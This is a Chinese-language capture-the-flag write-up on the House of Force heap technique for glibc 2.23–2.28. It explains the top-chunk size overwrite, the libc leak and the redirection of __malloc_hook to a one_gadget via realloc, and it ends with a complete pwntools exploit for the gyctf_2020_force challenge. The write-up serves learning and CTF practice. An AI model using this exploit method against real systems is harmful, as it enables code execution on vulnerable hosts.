House Of Force

适用范围

2.23~2.29

2.29的libc中增加了top chunk的size域合法性检验

1
2
3
// 申请的大小如果超过系统内存,报错
if (__glibc_unlikely(size > av->system_mem))
malloc_printerr("malloc(): corrupted top size");

作用:得到任意地址的chunk

要求:

  1. 控制top chunk的size域
  2. 自由控制分配堆的大小

利用原理

​ 通过溢出等方式修改top chunk的size域为一个很大的值(通常为-1,-1的补码为0xffffffff),然后申请一个堆块到指定地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

将size域改为-1是为了通过这里的if检测,然后申请一个堆块,top chunk的地址就会对应的减去申请的堆块大小,如果申请的是负的大小的堆块,top chunk也会相应的增加对应值

例题 gyctf_2020_force

静态分析

0

main函数没啥看的

1

这里存在堆溢出漏洞,每次malloc结束还贴心的把堆地址告诉你

利用思路

leak libc

arena未初始化之前或者初始化后申请一块大于top chunk大小的堆块会直接调用sysmalloc来申请内存,这块内存的地址与libc基址有着固定偏移,可以借此来泄露libc基址

改malloc_hook为ogg

这里直接改malloc_hookone_gadget经测试行不通,因为无法满足其条件,只能另寻他法或者想办法构造one_gadget的条件

我们这里选择通过realooc来满足one_gadget的条件

通过realloc来使one_gadget条件成立

2

我们选择的是这条one_gadget,它的约束是rsp+0x30处要为NULL,而我们realloc中刚好有一条

3

可以调整rsp的位置

5

直接用修改malloc_hook为ogg

4

通过realloc改变rsp后

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
elf = ELF('./gyctf_2020_force')
libc = ELF('/mnt/d/CTFs/gyctf2020/force/libc-2.23.so')
context(arch=elf.arch, os=elf.os,log_level='debug')
local = 1
if local:
io = process([elf.path])
else:
io = remote('node5.buuoj.cn',25740)
DEBUG = 1
if DEBUG and local:
gdb.attach(io,
'''
b *$rebase(0xbcc)
''')

p = lambda : pause()
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
r = lambda x : io.recv(x)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(r(x).ljust(4,b'\x00'))
uu64 = lambda x : u64(r(x).ljust(8,b'\x00'))
lg = lambda x,y : log.success(str(x) + ' -> ' + hex(y))

def dbg():
gdb.attach(io)
pause()

def add(size,content):
sla("puts\n","1")
sla("size\n",str(size))
ru('bin addr ')
addr = int(r(14),16)
sla("content\n",content)
return addr

def show():
sla("puts\n","2")

if __name__ == '__main__':
libc.address = add(0x21000,'s') - 0x5ca010
payload0 = b'a' * 0x10 + b'w' * 0x8 + p64(0xffffffffffffffff)
heap_addr = add(0x10,payload0)
lg('heap',heap_addr)
lg('libc',libc.address)
#p()
lg('malloc_hook',libc.sym['__malloc_hook'])
dest = libc.sym['__malloc_hook'] - 0x10 - (heap_addr + 0x10) - 0x10 - 0x10
add(dest,'n')
p()
ogg = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x10,b'x' * 0x8 + p64(libc.address + ogg[1]) + p64(libc.sym['realloc'] + 0x10))
p()
sla('puts\n','1')
sla('size\n',str(10))

ia()

本地通了,buuctf的远程没打通,原因不明

总结

  1. house of force通过改变top chunk的size域使在申请一块非常大的堆块时不会适用sysmalloc来向系统申请映射内存,进而改变top chunk的位置
  2. 在申请的内存大于top chunk时,系统会调用sysmalloc来像系统申请映射内存,申请的内存地址与libc基址有着,固定偏移可以通过该内存地址来leak libc
  3. 在更改__malloc_hookone_gadget时,如果因约束条件与栈上数据有关而失败可以尝试构造__malloc_hook->realloc + 0x10->one_gadget的方式来尝试满足one_gadget的约束条件,因为realloc函数里有一条sub rsp,0x38的指令
  4. 用我的脚本在55行这里调试用heap指令看的时候显示的只有最开始sysmalloc分配的堆块,但是实际上top chunk是已经到了目标位置的,自己调试的时候可以注意下这里